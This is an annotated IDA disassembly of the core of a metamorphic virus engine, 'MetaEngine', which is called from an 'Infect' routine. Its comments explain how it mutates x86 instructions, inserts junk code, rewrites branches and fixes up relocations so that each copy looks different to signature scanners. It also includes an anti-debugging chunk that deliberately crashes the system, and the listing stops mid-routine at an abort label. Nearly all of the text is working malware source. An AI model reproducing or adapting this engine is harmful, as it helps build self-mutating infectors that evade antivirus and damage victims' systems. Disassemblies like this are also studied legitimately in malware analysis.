;
; ___________________________________________________________________________
; _     This file is generated by The Interactive Disassembler (IDA)        _
; _     Copyright (c) 2005 by DataRescue sa/nv, <ida@datarescue.com>        _
; ___________________________________________________________________________
;
; ___________________________________________________________________________
; START OF FUNCTION CHUNK FOR MetaEngine

AntiDebug:                                        ; CODE XREF: CODE:00401068j
                                                  ; MetaEngine+1E9j
                cmp     byte ptr [ebx+7], 0BFh    ; are we in kernel mode?
                jnz     short ret_AntiDebug
                mov     ecx, 1000h                ; counter = 1000h
                mov     edi, 40000000h
                or      edi, 80000000h
                add     edi, ecx                  ; edi = C0001000h
                rep stosd                         ; copy bytes to edi

ret_AntiDebug:                                    ; CODE XREF: MetaEngine-17j
                retn                              ; return
; END OF FUNCTION CHUNK FOR MetaEngine            ; this will result in a crash
                                                  ; since this routine wasn't CALLed

; _______________ S U B R O U T I N E _______________________________________

; Attributes: bp-based frame

MetaEngine      proc near                         ; CODE XREF: Infect+11Bp

RelocStart      = dword ptr -8
RelocCurrent    = dword ptr -4
inBuf           = dword ptr  8
sizeOfCode      = dword ptr  0Ch
outBuf          = dword ptr  10h

                push    ebp
                mov     ebp, esp
                sub     esp, 8
                push    ebx
                push    esi                       ; save registers
                push    edi
                mov     eax, [ebp+sizeOfCode]     ; eax = size of code
                shl     eax, 4                    ; multiply by 16
                push    eax
                call    callVirtualAlloc          ; allocate memory
                mov     [ebp+RelocStart], eax     ; save pointer
                mov     [ebp+RelocCurrent], eax
                mov     esi, [ebp+inBuf]          ; esi = *source buffer
                mov     edi, [ebp+outBuf]         ; edi = *destination buffer

LoadInstruction:                                  ; CODE XREF: MetaEngine+52j
                                                  ; MetaEngine+ABj ...
                mov     ebx, [ebp+RelocCurrent]
                add     [ebp+RelocCurrent], 10h   ; allocate 16 bytes for each instruction
                mov     [ebx], esi                ; set Pointer to Instruction in the Input Buffer
                mov     [ebx+4], edi              ; set Pointer to Mutated Instruction in Output Buffer
                xor     eax, eax                  ; eax = 0
                mov     [ebx+8], eax              ; set Pointer to offset of New Relative = 0
                cmp     esi, [ebp+inBuf]          ; are we in the beginning of the code?
                jz      isJccShort                ; yes, start analyzing the code
                mov     eax, esi                  ; eax = *current instruction
                sub     eax, [ebp+inBuf]          ; eax -= *start address
                cmp     eax, [ebp+sizeOfCode]     ; are we done?
                jnb     FixRelocations
                mov     al, [esi]                 ; al = opcode
                cmp     al, 90h                   ; NOP?
                jnz     short isPushR32
                add     esi, 1                    ; increase counter (instruction not stored)
                jmp     short LoadInstruction     ; load next instruction
; ___________________________________________________________________________

isPushR32:                                        ; CODE XREF: MetaEngine+4Dj
                mov     cl, [edi-1]               ; cl = last written byte
                cmp     cl, 50h                   ; PUSH EAX?
                jb      isJccShort
                cmp     cl, 52h                   ; PUSH EAX/ECX/EDX?
                ja      isJccShort
                mov     eax, [ebx]                ; eax = [ebx] = [[DisasmCurrent]]
                sub     eax, [ebx-10h]            ; eax -= [[DisasmCurrent]-16]
                cmp     eax, 1                    ; was it only a 1-byte instruction?
                jnz     isJccShort                ; no, disasm next instruction
                call    Rnd7                      ; returns random eax (0 to 7)
                jnz     isJccShort                ; mutate?
                sub     cl, 50h                   ; get the register used

MutatePush:                                       ; CODE XREF: MetaEngine+D0j
                                                  ; MetaEngine+EAj
                call    Random                    ; get random number
                and     al, 3                     ; make it between 0 - 3
                cmp     al, 1                     ; al = 1?
                jz      short MakeMovRegRandom32
                cmp     al, 2                     ; al = 2?
                jz      short MakeOpRegRandomReg
                cmp     al, 3                     ; al = 3?
                jz      short MakeMovRegRandom8
                mov     al, 8Bh                   ; al = MOV r32, r/m32
                stosb                             ; store
                mov     al, cl                    ; al = register
                rol     al, 3                     ; place it in the [reg/opcode] field
                or      al, 1000101b              ; set [mod] = 01, [reg] = 101 (ebp)
                stosb                             ; store
                call    Random                    ; get random number
                and     al, 3Ch                   ; make it between 0 to 3C
                stosb                             ; store
                jmp     LoadInstruction
; ___________________________________________________________________________

MakeMovRegRandom32:                               ; CODE XREF: MetaEngine+8Ej
                mov     al, cl                    ; al = register
                add     al, 0B8h                  ; MOV r32,imm32
                stosb                             ; store
                call    GetRandomDword            ; get random dword
                stosd                             ; store dword
                jmp     LoadInstruction
; ___________________________________________________________________________

MakeOpRegRandomReg:                               ; CODE XREF: MetaEngine+92j
                call    Random                    ; get random number
                mov     ah, al                    ; save it in ah
                or      ah, 11000000b             ; set [mod] = 11
                and     ah, 11111000b             ; clear [reg] field
                cmp     ah, 11111000b             ; is [reg/opcode] == 111 (CMP)?
                jz      short MutatePush          ; try another mutation
                mov     al, 81h                   ; al = OP r/m32, imm32
                                                  ; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR)
                stosb                             ; store
                mov     al, ah                    ; al = random ModRM
                add     al, cl                    ; add register
                stosb                             ; store
                call    GetRandomDword            ; get random dword
                stosd                             ; store dword
                jmp     LoadInstruction
; ___________________________________________________________________________

MakeMovRegRandom8:                                ; CODE XREF: MetaEngine+96j
                mov     al, [edi-1]               ; al = last written opcode
                cmp     al, 54h                   ; PUSH ESP/EBP/ESI/EDI?
                jnb     short MutatePush          ; avoid
                call    Random                    ; get random number
                and     al, 100b                  ; make it 0 to 4
                add     al, cl                    ; add register
                add     al, 0B0h                  ; al = MOV r8, imm8
                stosb                             ; store
                call    Random                    ; get random byte
                stosb                             ; store
                jmp     LoadInstruction
; ___________________________________________________________________________

isJccShort:                                       ; CODE XREF: MetaEngine+35j
                                                  ; MetaEngine+5Aj ...
                mov     al, [esi]                 ; al = opcode
                cmp     al, 70h                   ; is it a Jcc?
                jb      short isBranchShort
                cmp     al, 80h                   ; if it's between 70h to 7Fh, it is a Jcc
                jb      short ModifyJcc
                cmp     al, 0EBh                  ; is it a JMP short?
                jnz     short isBranchShort
                mov     al, 0E9h                  ; Generate a JMP near
                jmp     short ModifyJccAddress
; ___________________________________________________________________________

ModifyJcc:                                        ; CODE XREF: MetaEngine+10Bj
                mov     byte ptr [edi], 0Fh       ; set 0F opcode
                add     al, 10h                   ; add 10h
                                                  ; (70 xx    = JO short xx)
                                                  ; (0F 80 xx = JO near  xx)
                add     edi, 1                    ; increase output counter

ModifyJccAddress:                                 ; CODE XREF: MetaEngine+113j
                stosb                             ; store
                mov     [ebx+8], edi              ; save edi in the OffsetNewRelative field
                mov     al, [esi+1]               ; al = relative address
                add     al, 2                     ; al += 2, because we added two bytes
                call    InvertSign
                mov     [ebx+0Ch], eax            ; save eax in the NewRelative field
                add     esi, 2                    ; increase code pointer by 2
                add     edi, 4                    ; increase output pointer by 4 (dword)
                jmp     LoadInstruction
; ___________________________________________________________________________

isBranchShort:                                    ; CODE XREF: MetaEngine+107j
                                                  ; MetaEngine+10Fj
                cmp     al, 0E8h                  ; a CALL short?
                jz      short ModifyBranchAddress
                cmp     al, 0E9h                  ; a JMP short?
                jz      short ModifyBranchAddress
                cmp     al, 0Fh                   ; a special opcode 0F?
                jnz     short isEspUsed
                mov     cl, [esi+1]               ; get next byte
                cmp     cl, 80h                   ; Jcc near?
                jb      AbortEngine               ; is it between 80h and 90h?
                cmp     cl, 90h                   ; The engine doesn't support 0F xx instructions
                jnb     AbortEngine
                stosb                             ; store 0F opcode
                add     esi, 1                    ; increase code pointer
                mov     al, cl                    ; al = second opcode

ModifyBranchAddress:                              ; CODE XREF: MetaEngine+13Bj
                                                  ; MetaEngine+13Fj
                stosb                             ; save branch type
                mov     [ebx+8], edi              ; save edi in the OffsetNewRelative field
                add     esi, 1                    ; increase code pointer
                lodsd                             ; load the address
                add     eax, 4                    ; eax += 4
                sub     eax, [ebx+4]              ; get OutputIP
                add     eax, edi                  ; add OutputBuffer
                mov     [ebx+0Ch], eax            ; save eax in the NewRelative field
                add     edi, 4                    ; increase output pointer by 4 (dword)
                jmp     LoadInstruction
; ___________________________________________________________________________

isEspUsed:                                        ; CODE XREF: MetaEngine+143j
                cmp     al, 81h                   ; OP r/m32, imm32?
                                                  ; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR)
                jnz     short isRet_isC0_is83
                mov     ah, [esi+1]               ; ah = ModRM
                cmp     ah, 0C4h                  ; ADD ESP, imm32?
                jz      short Store6Bytes         ; avoid
                cmp     ah, 0ECh                  ; SUB ESP, imm32?
                jnz     short isRet_isC0_is83     ; avoid

Store6Bytes:                                      ; CODE XREF: MetaEngine+185j
                mov     cl, 6
                jmp     StoreBytes
; ___________________________________________________________________________

isRet_isC0_is83:                                  ; CODE XREF: MetaEngine+17Dj
                                                  ; MetaEngine+18Aj
                cmp     al, 0C3h                  ; RET?
                jnb     short isD0_D4
                cmp     al, 0C0h                  ; OP r/m8, imm8?
                                                  ; (RCL/RCR/ROL/ROR/SAL/SAR/SHL/SHR)
                jnb     short Store3Bytes
                cmp     al, 83h                   ; OP r/m32, imm8?
                                                  ; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR)
                jnz     short isD0_D4
                mov     ah, [esi+1]               ; ah = ModRM
                cmp     ah, 0C4h                  ; ADD ESP, imm8?
                jz      short Store3Bytes         ; avoid
                cmp     ah, 0ECh                  ; SUB ESP, imm8?
                jnz     short isD0_D4             ; avoid

Store3Bytes:                                      ; CODE XREF: MetaEngine+199j
                                                  ; MetaEngine+1A5j
                mov     cl, 3
                jmp     StoreBytes
; ___________________________________________________________________________

isD0_D4:                                          ; CODE XREF: MetaEngine+195j
                                                  ; MetaEngine+19Dj ...
                cmp     al, 0D0h                  ; OP r/m8, imm8?
                                                  ; (RCL/RCR/ROL/ROR/SAL/SAR/SHL/SHR)
                jb      short isInt_isMovEbpEsp
                cmp     al, 0D4h                  ; D0 - D3
                jb      short Store2Bytes         ; avoid

isInt_isMovEbpEsp:                                ; CODE XREF: MetaEngine+1B5j
                cmp     al, 0CDh                  ; INT?
                jz      short Store2Bytes         ; avoid
                cmp     al, 8Bh                   ; MOV r32, r/m32?
                jnz     short isRep_isF6_isF7
                cmp     byte ptr [esi+1], 0ECh    ; 8B EC = MOV EBP, ESP
                jz      short CheckRegOpcodeField

isRep_isF6_isF7:                                  ; CODE XREF: MetaEngine+1C1j
                cmp     al, 0F3h                  ; REP prefix?
                jz      short Store2Bytes         ; avoid
                cmp     al, 0F6h                  ; OP r/m8?
                                                  ; (DIV/IDIV/IMUL/MUL/NEG/NOT/TEST)
                jz      short CheckRegOpcodeField
                cmp     al, 0F7h                  ; OP r/m32?
                                                  ; (DIV/IDIV/IMUL/MUL/NEG/NOT/TEST)
                jnz     short isInt3_Ret_PushReg

CheckRegOpcodeField:                              ; CODE XREF: MetaEngine+1C7j
                                                  ; MetaEngine+1CFj
                mov     ah, [esi+1]               ; ah = ModRM
                and     ah, 111000b               ; save [reg/opcode] field
                cmp     ah, 0                     ; is it empty?
                jz      short isInt3_Ret_PushReg  ; yes, skip

Store2Bytes:                                      ; CODE XREF: MetaEngine+1B9j
                                                  ; MetaEngine+1BDj ...
                mov     cl, 2
                jmp     StoreBytes
; ___________________________________________________________________________

isInt3_Ret_PushReg:                               ; CODE XREF: MetaEngine+1D3j
                                                  ; MetaEngine+1DEj
                cmp     al, 0CCh                  ; INT 3?
                jz      AntiDebug
                cmp     al, 0C3h                  ; RET?
                jz      short StoreOneByteOpcode
                cmp     al, 50h                   ; PUSH r32 / POP r32?
                jb      short isMovTestRmReg
                cmp     al, 60h                   ; check if it's between 50 to 60
                jnb     short isMovTestRmReg

StoreOneByteOpcode:                               ; CODE XREF: MetaEngine+1F1j
                movsb                             ; copy one byte from source to destination
                jmp     LoadInstruction
; ___________________________________________________________________________

isMovTestRmReg:                                   ; CODE XREF: MetaEngine+1F5j
                                                  ; MetaEngine+1F9j
                cmp     al, 88h                   ; MOV r/m8, r8?
                jz      short Mutate?
                cmp     al, 89h                   ; MOV r/m32, r32?
                jz      short Mutate?
                cmp     al, 84h                   ; TEST r/m8, r8?
                jz      short Mutate?
                cmp     al, 85h                   ; TEST r/m32, r32?
                jz      short Mutate?
                cmp     al, 40h                   ; is opcode < 40?
                jnb     short isMovLeaRegRm
                mov     ah, al                    ; ah = opcode
                and     ah, 111b                  ; save last 3 bits
                cmp     ah, 0                     ; OP r/m8, r8
                jz      short Mutate?
                cmp     ah, 1                     ; OP r/m32, r32?
                jnz     short isMovLeaRegRm

Mutate?:                                          ; CODE XREF: MetaEngine+203j
                                                  ; MetaEngine+207j ...
                call    Rnd7                      ; returns random eax (0 to 7)
                jz      short CheckModRM          ; mutate if eax = 0 (1/8 probability)
                jmp     StoreDisplacementPlus2    ; else, skip this instruction
; ___________________________________________________________________________

CheckModRM:                                       ; CODE XREF: MetaEngine+229j
                mov     cl, [esi+1]               ; cl = ModRM
                and     cl, 11000000b             ; save the [mod] field
                cmp     cl, 0                     ; [mod] == 00?
                jz      short jmp_Mutate
                cmp     cl, 11000000b             ; [mod] == 11?
                jz      short jmp_Mutate
                call    Random                    ; get random number
                and     al, 1                     ; make it 0 or 1
                cmp     al, 0                     ; is it 0?
                jz      Morph1                    ; mutate

jmp_Mutate:                                       ; CODE XREF: MetaEngine+239j
                                                  ; MetaEngine+23Ej
                jmp     Morph2                    ; mutate
; ___________________________________________________________________________

isMovLeaRegRm:                                    ; CODE XREF: MetaEngine+213j
                                                  ; MetaEngine+222j
                cmp     al, 8Ah                   ; MOV r8, r/m8?
                jz      short _Mutate?
                cmp     al, 8Bh                   ; MOV r32, r/m32?
                jz      short _Mutate?
                cmp     al, 8Dh                   ; LEA r32, mem?
                jz      short _Mutate?
                cmp     al, 40h                   ; is opcode < 40?
                jnb     short isFE_isFF
                mov     ah, al
                and     ah, 111b                  ; keep last 3 bits
                cmp     ah, 2                     ; OP r8, r/m8?
                jz      short _Mutate?
                cmp     ah, 3                     ; OP r32, r/m32?
                jnz     short isFE_isFF

_Mutate?:                                         ; CODE XREF: MetaEngine+256j
                                                  ; MetaEngine+25Aj ...
                call    Rnd7                      ; returns random eax (0 to 7)
                jz      short _CheckModRM         ; mutate if eax = 0 (1/8 probability)
                jmp     StoreDisplacementPlus2    ; else, skip this instruction
; ___________________________________________________________________________

_CheckModRM:                                      ; CODE XREF: MetaEngine+278j
                mov     cl, [esi+1]               ; cl = ModRM
                and     cl, 11000000b             ; save the [mod] field
                cmp     cl, 0                     ; [mod] == 00?
                jz      short _jmp_Mutate
                cmp     cl, 11000000b             ; [mod] == 11?
                jz      short _jmp_Mutate
                call    Random                    ; get random number
                and     al, 1                     ; make it 1 or 0
                cmp     al, 0                     ; is it zero?
                jz      Morph1                    ; mutate

_jmp_Mutate:                                      ; CODE XREF: MetaEngine+288j
                                                  ; MetaEngine+28Dj
                jmp     Morph3                    ; mutate
; ___________________________________________________________________________

isFE_isFF:                                        ; CODE XREF: MetaEngine+262j
                                                  ; MetaEngine+271j
                cmp     al, 0FEh                  ; INC/DEC r/m8?
                jz      short MakeMovRegPushReg
                cmp     al, 0FFh                  ; OP r/m32?
                                                  ; (INC/DEC/JMP/CALL/PUSH)
                jnz     short isMovReg8Imm8?

MakeMovRegPushReg:                                ; CODE XREF: MetaEngine+2A5j
                mov     al, [esi+1]               ; al = ModRM
                and     al, 111000b               ; keep the [reg/opcode] field
                ror     al, 3                     ; place it in the [reg] field
                cmp     al, 111b                  ; opcode == 111?
                jz      AbortEngine               ; exit engine
                cmp     al, 110b                  ; opcode != 110 (PUSH)?
                jnz     StoreDisplacementPlus2    ; skip
                mov     al, 8Bh                   ; Generate MOV EAX, r/m32
                stosb                             ; store
                mov     al, [esi+1]               ; al = ModRM
                and     al, 11000111b             ; keep [mod] and [reg] fields
                                                  ; set [reg/opcode] = 000
                stosb                             ; store ModRM byte
                call    CheckDisplacement         ; returns cl: 0, 1 or 4
                add     esi, 2                    ; increase code counter by 2
                rep movsb                         ; store address
                mov     al, 50h                   ; Generate PUSH EAX
                stosb                             ; store
                jmp     LoadInstruction
; ___________________________________________________________________________

isMovReg8Imm8?:                                   ; CODE XREF: MetaEngine+2A9j
                cmp     al, 0B0h                  ; MOV r8, imm8?
                jb      short isMovReg32Imm32
                cmp     al, 0B8h                  ; check if it's between B0 to B8
                jnb     short isMovReg32Imm32
                call    Rnd7                      ; returns random eax (0 to 7)
                jz      short MakeAddRegRandom8   ; mutate?
                mov     cl, 2                     ; skip
                jmp     StoreBytes
; ___________________________________________________________________________

MakeAddRegRandom8:                                ; CODE XREF: MetaEngine+2EBj
                                                  ; MetaEngine+2FBj
                call    Random                    ; get random
                and     al, 11b                   ; make it between 1 - 3
                jz      short MakeAddRegRandom8   ; if it's zero, try again
                mov     dh, al                    ; dh = random selection
                movsb                             ; store opcode
                call    Random                    ; get random number
                mov     cl, al                    ; save it in CL
                stosb                             ; store random byte
                mov     al, 80h                   ; al = ADC/ADD/AND/CMP/OR/SBB/SUB/XOR
                stosb                             ; store operation
                mov     al, [esi-1]               ; get original instruction opcode
                sub     al, 0B0h                  ; subtract opcode, al = register used
                cmp     dh, 2                     ; if random == 2, Generate SUB
                jz      short MakeSubRegRandom8
                cmp     dh, 3                     ; if random == 3, Generate XOR
                jz      short MakeXorRegRandom8
                or      al, 11000000b             ; Generate ADD (ModRM = 11 000 reg)
                stosb                             ; store ModRM
                lodsb                             ; load the original immediate value
                sub     al, cl                    ; subtract the random value
                stosb                             ; store
                jmp     LoadInstruction
; ___________________________________________________________________________

MakeSubRegRandom8:                                ; CODE XREF: MetaEngine+313j
                or      al, 11101000b             ; Generate SUB (ModRM = 11 101 reg)
                stosb                             ; store ModRM
                lodsb                             ; load the original immediate value
                sub     al, cl                    ; al -= random value
                mov     ah, al                    ; save al in ah
                mov     al, 0
                sub     al, ah                    ; al = -al
                stosb                             ; store
                jmp     LoadInstruction
; ___________________________________________________________________________

MakeXorRegRandom8:                                ; CODE XREF: MetaEngine+318j
                or      al, 11110000b             ; Generate XOR (ModRM = 11 110 reg)
                stosb                             ; store ModRM
                lodsb                             ; load the original immediate value
                xor     al, cl                    ; xor the value with a random value
                stosb                             ; store
                jmp     LoadInstruction
; ___________________________________________________________________________

isMovReg32Imm32:                                  ; CODE XREF: MetaEngine+2E0j
                                                  ; MetaEngine+2E4j
                cmp     al, 0B8h                  ; MOV r32, imm32?
                jb      short MakeMovPush1
                cmp     al, 0C0h                  ; check if it's between B8 - C0
                jnb     short MakeMovPush1
                call    Rnd7                      ; returns random eax (0 to 7)
                jz      short MakeAddRegRandom32  ; mutate?
                mov     cl, 5                     ; skip
                jmp     StoreBytes
; ___________________________________________________________________________

MakeAddRegRandom32:                               ; CODE XREF: MetaEngine+351j
                                                  ; MetaEngine+363j
                call    Random                    ; get random number
                and     al, 11b                   ; make it between 1 - 3
                cmp     al, 0                     ; if it's zero,
                jz      short MakeAddRegRandom32  ; then try again
                mov     ah, al                    ; ah = random selection
                movsb                             ; store opcode
                call    GetRandomDword            ; returns a random dword in EAX
                mov     ecx, eax                  ; ecx = random dword
                stosd                             ; store random dword
                mov     al, 81h                   ; al = ADC/ADD/AND/CMP/OR/SBB/SUB/XOR
                stosb                             ; store operation
                mov     al, [esi-1]               ; get original instruction opcode
                sub     al, 0B8h                  ; get the register used
                cmp     al, 2                     ; if random == 2, Generate SUB
                jz      short MakeSubRegRandom32
                cmp     al, 3                     ; if random == 3, Generate XOR
                jz      short MakeXorRegRandom32
                or      al, 11000000b             ; Generate ADD (ModRM = 11 000 reg)
                stosb                             ; store ModRM
                lodsd                             ; load the original immediate value
                sub     eax, ecx                  ; subtract the random value
                stosd                             ; store
                jmp     LoadInstruction
; ___________________________________________________________________________

MakeSubRegRandom32:                               ; CODE XREF: MetaEngine+37Aj
                or      al, 11101000b             ; Generate SUB (ModRM = 11 101 reg)
                stosb                             ; store ModRM
                lodsd                             ; load the original immediate value
                sub     eax, ecx                  ; eax -= random
                mov     ecx, eax                  ; save eax
                mov     eax, 0
                sub     eax, ecx                  ; eax = -eax
                stosd                             ; store
                jmp     LoadInstruction
; ___________________________________________________________________________

MakeXorRegRandom32:                               ; CODE XREF: MetaEngine+37Ej
                or      al, 11110000b             ; Generate XOR (ModRM = 11 110 reg)
                stosb                             ; store ModRM
                lodsd                             ; load the original immediate value
                xor     eax, ecx                  ; xor the value with a random value
                stosd                             ; store
                jmp     LoadInstruction
; ___________________________________________________________________________

MakeMovPush1:                                     ; CODE XREF: MetaEngine+346j
                                                  ; MetaEngine+34Aj
                cmp     al, 68h                   ; PUSH imm32?
                jnz     short MakeMovPush2
                add     esi, 1                    ; increase code pointer
                mov     al, 0B8h                  ; Generate MOV r32, imm32
                stosb                             ; store
                movsd                             ; write next 4 bytes
                mov     al, 50h                   ; Generate PUSH r32
                stosb                             ; store
                jmp     LoadInstruction
; ___________________________________________________________________________

MakeMovPush2:                                     ; CODE XREF: MetaEngine+3AFj
                cmp     al, 6Ah                   ; PUSH imm8?
                jnz     short MakeMOVSB
                add     esi, 1                    ; increase code pointer
                mov     al, 0B8h                  ; make MOV r32, imm32
                stosb                             ; store
                lodsb                             ; load byte (imm8)
                call    InvertSign
                stosd                             ; store dword (imm32)
                mov     al, 50h                   ; make PUSH r32
                stosb                             ; store
                jmp     LoadInstruction
; ___________________________________________________________________________

MakeMOVSB:                                        ; CODE XREF: MetaEngine+3C2j
                cmp     al, 0A4h                  ; MOVSB?
                jnz     short MakeMOVSD
                add     esi, 1                    ; Replace A4 with the following sequence:
                mov     eax, 83068A50h            ; 50         push    eax
                stosd                             ; 8A 06      mov     al, [esi]
                mov     eax, 78801C6h             ; 83 C6 01   add     esi, 1
                stosd                             ; 88 07      mov     [edi], al
                mov     eax, 5801C783h            ; 83 C7 01   add     edi, 1
                stosd                             ; 58         pop     eax
                jmp     LoadInstruction
; ___________________________________________________________________________

MakeMOVSD:                                        ; CODE XREF: MetaEngine+3DBj
                cmp     al, 0A5h                  ; MOVSD?
                jnz     short MakeSTOSB
                add     esi, 1                    ; Replace A5 with the following sequence:
                mov     eax, 83068B50h            ; 50         push    eax
                stosd                             ; 8B 06      mov     eax, [esi]
                mov     eax, 78904C6h             ; 83 C6 04   add     esi, 4
                stosd                             ; 89 07      mov     [edi], eax
                mov     eax, 5804C783h            ; 83 C7 04   add     edi, 4
                stosd                             ; 58         pop     eax
                jmp     LoadInstruction
; ___________________________________________________________________________

MakeSTOSB:                                        ; CODE XREF: MetaEngine+3F9j
                cmp     al, 0AAh                  ; STOSB?
                jnz     short MakeSTOSD
                add     esi, 1                    ; Replace AA with the following sequence:
                mov     eax, 0C7830788h           ; 88 07      mov     [edi], al
                stosd                             ; 83 C7 01   add     edi, 1
                mov     al, 1
                stosb
                jmp     LoadInstruction
; ___________________________________________________________________________

MakeSTOSD:                                        ; CODE XREF: MetaEngine+417j
                cmp     al, 0ABh                  ; STOSD?
                jnz     short MakeLODSB
                add     esi, 1                    ; Replace AB with the following sequence:
                mov     eax, 0C7830789h           ; 88 07      mov     [edi], eax
                stosd                             ; 83 C7 04   add     edi, 4
                mov     al, 4
                stosb
                jmp     LoadInstruction
; ___________________________________________________________________________

MakeLODSB:                                        ; CODE XREF: MetaEngine+42Cj
                cmp     al, 0ACh                  ; LODSB?
                jnz     short MakeLODSD
                add     esi, 1                    ; Replace AC with the following sequence:
                mov     eax, 0C683068Ah           ; 8A 06      mov     al, [esi]
                stosd                             ; 83 C6 01   add     esi, 1
                mov     al, 1
                stosb
                jmp     LoadInstruction
; ___________________________________________________________________________

MakeLODSD:                                        ; CODE XREF: MetaEngine+441j
                cmp     al, 0ADh                  ; LODSD?
                jnz     short MakeOpRm8Imm8
                add     esi, 1                    ; Replace AD with the following sequence:
                mov     eax, 0C683068Bh           ; 8B 06      mov     eax, [esi]
                stosd                             ; 83 C6 04   add     esi, 4
                mov     al, 4
                stosb
                jmp     LoadInstruction
; ___________________________________________________________________________

MakeOpRm8Imm8:                                    ; CODE XREF: MetaEngine+456j
                cmp     al, 40h                   ; opcode < 40?
                jnb     short MakeTestImm8
                mov     ah, al
                and     ah, 111b                  ; save last 3 bits
                cmp     ah, 4                     ; OP AL, imm8?
                jnz     short MakeOpEaxImm32
                mov     al, 80h                   ; Generate OP r/m8, imm8
                                                  ; ADC/ADD/AND/CMP/OR/SBB/SUB/XOR
                stosb
                mov     al, [esi]                 ; load the same instruction again
                and     al, 111000b               ; keep the [reg/opcode] field
                or      al, 11000000b             ; set [mod] = 11
                stosb                             ; store
                add     esi, 1                    ; increase code pointer
                movsb                             ; copy imm8 byte
                jmp     LoadInstruction
; ___________________________________________________________________________

MakeTestImm8:                                     ; CODE XREF: MetaEngine+46Bj
                cmp     al, 0A8h                  ; TEST AL, imm8?
                jnz     short MakeOpEaxImm32
                add     esi, 1                    ; incrase code pointer by 1
                mov     al, 0F6h                  ; Replace A8 with the following sequence:
                stosb                             ; F6 C0 xx   test    al, xx
                mov     al, 0C0h
                stosb
                movsb                             ; load and store immediate byte
                jmp     LoadInstruction
; ___________________________________________________________________________

MakeOpEaxImm32:                                   ; CODE XREF: MetaEngine+475j
                                                  ; MetaEngine+48Cj
                cmp     al, 40h                   ; opcode < 40?
                jnb     short MakeTestEaxImm32
                mov     ah, al                    ; ah = opcode
                and     ah, 111b                  ; save last 3 bits
                cmp     ah, 5                     ; OP EAX, imm32?
                jnz     short isOp8Imm8
                mov     al, 81h                   ; Generate OP r/m32, imm32
                                                  ; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR)
                stosb                             ; store
                mov     al, [esi]                 ; al = current opcode
                and     al, 111000b               ; keep the [opcode] field
                or      al, 11000000b             ; set [mod] = 11
                stosb                             ; store ModRM byte
                add     esi, 1                    ; increase code pointer
                movsd                             ; copy immediate dword
                jmp     LoadInstruction
; ___________________________________________________________________________

MakeTestEaxImm32:                                 ; CODE XREF: MetaEngine+49Fj
                cmp     al, 0A9h                  ; TEST EAX, imm32?
                jnz     short isOp8Imm8
                add     esi, 1                    ; Replace A8 with the following sequence:
                mov     al, 0F7h                  ; F6 0C DD CC BB AA   test  eax, AABBCCDDh
                stosb
                mov     al, 0C0h
                stosb
                movsd                             ; load and store immediate dword
                jmp     LoadInstruction
; ___________________________________________________________________________

isOp8Imm8:                                        ; CODE XREF: MetaEngine+4A9j
                                                  ; MetaEngine+4C0j
                mov     ah, al
                and     ah, 11111110b             ; save all bits, but the 'w' bit
                cmp     ah, 80h                   ; OP r/m8,imm8?
                                                  ; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR)
                jz      short SaveOpcodeField
                cmp     ah, 0C6h                  ; MOV r/m8, imm8?
                jz      short SaveMovImm8Opcode
                cmp     ah, 0F6h                  ; OP r/m8?
                                                  ; (DIV/IDIV/IMUL/MUL/NEG/NOT/TEST)
                jnz     short Change8bitTo32bit
                mov     bh, 84h                   ; bh = TEST r/m8, r8
                jmp     short __jmp_Mutate
; ___________________________________________________________________________

SaveOpcodeField:                                  ; CODE XREF: MetaEngine+4D9j
                mov     bh, [esi+1]               ; bh = ModRM of 80h
                and     bh, 111000b               ; save [reg/opcode] field
                jmp     short __jmp_Mutate        ; mutate
; ___________________________________________________________________________

SaveMovImm8Opcode:                                ; CODE XREF: MetaEngine+4DEj
                mov     bh, 88h                   ; bh = MOV r/m8, r8

__jmp_Mutate:                                     ; CODE XREF: MetaEngine+4E7j
                                                  ; MetaEngine+4EFj
                jmp     Morph4                    ; mutate
; ___________________________________________________________________________

Change8bitTo32bit:                                ; CODE XREF: MetaEngine+4E3j
                cmp     al, 83h                   ; OP r/m32, imm8?
                                                  ; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR)
                jnz     short AbortEngine
                mov     al, 81h                   ; OP r/m32, imm32
                stosb                             ; store
                mov     al, [esi+1]               ; al = ModRM
                stosb                             ; store
                call    CheckDisplacement         ; returns cl: 0, 1 or 4
                add     esi, 2                    ; increase code pointer by 2
                rep movsb                         ; copy displacement
                lodsb                             ; load one byte
                call    InvertSign
                stosd                             ; store dword
                jmp     LoadInstruction
; ___________________________________________________________________________

FixRelocations:                                   ; CODE XREF: MetaEngine+43j
                mov     ebx, edi
                sub     ebx, [ebp+outBuf]         ; ebx = size of output buffer
                mov     esi, [ebp+RelocStart]     ; esi = beginning of relocation table

AnalyzeCurrentEntry:                              ; CODE XREF: MetaEngine+52Fj
                                                  ; MetaEngine+555j
                add     esi, 10h                  ; esi += 16
                cmp     esi, [ebp+RelocCurrent]   ; are we finished?
                jz      short ReturnSuccess
                mov     edi, [esi+8]              ; Pointer to offset of New Relative
                cmp     edi, 0                    ; is it blank?
                jz      short AnalyzeCurrentEntry ; process next instruction
                mov     edx, [esi+0Ch]            ; get New Relative Value
                add     edx, [esi]                ; edx = InputIP + NewRelative
                mov     ecx, [ebp+RelocStart]     ; ecx = pointer to disassembled code
                sub     ecx, 10h                  ; ecx -= 16 (for inter-loop reasons)

NextEntry:                                        ; CODE XREF: MetaEngine+54Aj
                add     ecx, 10h                  ; check next entry
                cmp     ecx, [ebp+RelocCurrent]   ; are we done?
                jnz     short LoopOverFirstEntry  ; no, proceed to loop over 1st field entries
                mov     ecx, [esi]                ; Save the InputIP
                jmp     short ReturnZero
; ___________________________________________________________________________

LoopOverFirstEntry:                               ; CODE XREF: MetaEngine+542j
                cmp     [ecx], edx                ;  edx = InputIP + NewRelative
                                                  ; *ecx = InputIP
                jnz     short NextEntry
                mov     eax, [ecx+4]              ; eax = OutputIP
                sub     eax, edi                  ; eax = OutputIP -
                                                  ;       OffsetNewNewRelative
                sub     eax, 4                    ; eax -= 4, due to earlier calculations
                stosd                             ; store NewRelative in OffsetNewRelative
                jmp     short AnalyzeCurrentEntry
; ___________________________________________________________________________

ReturnSuccess:                                    ; CODE XREF: MetaEngine+527j
                mov     eax, ebx                  ; eax = size of buffer
                jmp     short FreeMemory
; ___________________________________________________________________________

AbortEngine:                                      ; CODE XREF: MetaEngine+14Bj
                                                  ; MetaEngine+154j ...
